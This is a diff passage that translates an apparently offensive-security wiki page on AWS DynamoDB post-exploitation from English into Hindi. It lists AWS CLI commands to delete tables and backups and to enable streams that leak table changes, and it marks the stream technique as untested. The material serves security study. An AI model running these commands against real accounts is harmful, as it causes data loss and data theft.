+**संभावित प्रभाव:** DynamoDB तालिका में डेटा जोड़ने/संशोधित करने में सक्षम होने के कारण आगे की कमजोरियों/बायपास का शोषण
### `dynamodb:DeleteTable`
-An attacker with this permission can **delete a DynamoDB table, causing data loss**.
-
+इस अनुमति के साथ एक हमलावर **DynamoDB तालिका को हटा सकता है, जिससे डेटा हानि होती है**।
```bash
aws dynamodb delete-table \
- --table-name TargetTable \
- --region
+--table-name TargetTable \
+--region
```
-
-**Potential impact**: Data loss and disruption of services relying on the deleted table.
+**संभावित प्रभाव**: डेटा हानि और हटाए गए तालिका पर निर्भर सेवाओं का विघटन।
### `dynamodb:DeleteBackup`
-An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**.
-
+इस अनुमति के साथ एक हमलावर **एक DynamoDB बैकअप को हटा सकता है, जो आपदा पुनर्प्राप्ति परिदृश्य में डेटा हानि का कारण बन सकता है**।
```bash
aws dynamodb delete-backup \
- --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
- --region
+--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \
+--region
```
-
-**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario.
+**संभावित प्रभाव**: डेटा हानि और आपदा पुनर्प्राप्ति परिदृश्य के दौरान बैकअप से पुनर्प्राप्त करने में असमर्थता।
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
> [!NOTE]
-> TODO: Test if this actually works
+> TODO: यह परीक्षण करें कि क्या यह वास्तव में काम करता है
-An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage.
-
-1. Enable a stream on a DynamoDB table:
+इन अनुमतियों के साथ एक हमलावर **DynamoDB तालिका पर एक स्ट्रीम सक्षम कर सकता है, तालिका को अपडेट कर सकता है ताकि परिवर्तन स्ट्रीमिंग शुरू हो सके, और फिर तालिका में वास्तविक समय में परिवर्तनों की निगरानी करने के लिए स्ट्रीम तक पहुंच सकता है**। यह हमलावर को डेटा परिवर्तनों की निगरानी और एक्सफिल्ट्रेट करने की अनुमति देता है, जो संभावित रूप से डेटा लीक का कारण बन सकता है।
+1. DynamoDB तालिका पर एक स्ट्रीम सक्षम करें:
```bash
bashCopy codeaws dynamodb update-table \
- --table-name TargetTable \
- --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
- --region
+--table-name TargetTable \
+--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
+--region
```
-
-2. Describe the stream to obtain the ARN and other details:
-
+2. ARN और अन्य विवरण प्राप्त करने के लिए स्ट्रीम का वर्णन करें:
```bash
bashCopy codeaws dynamodb describe-stream \
- --table-name TargetTable \
- --region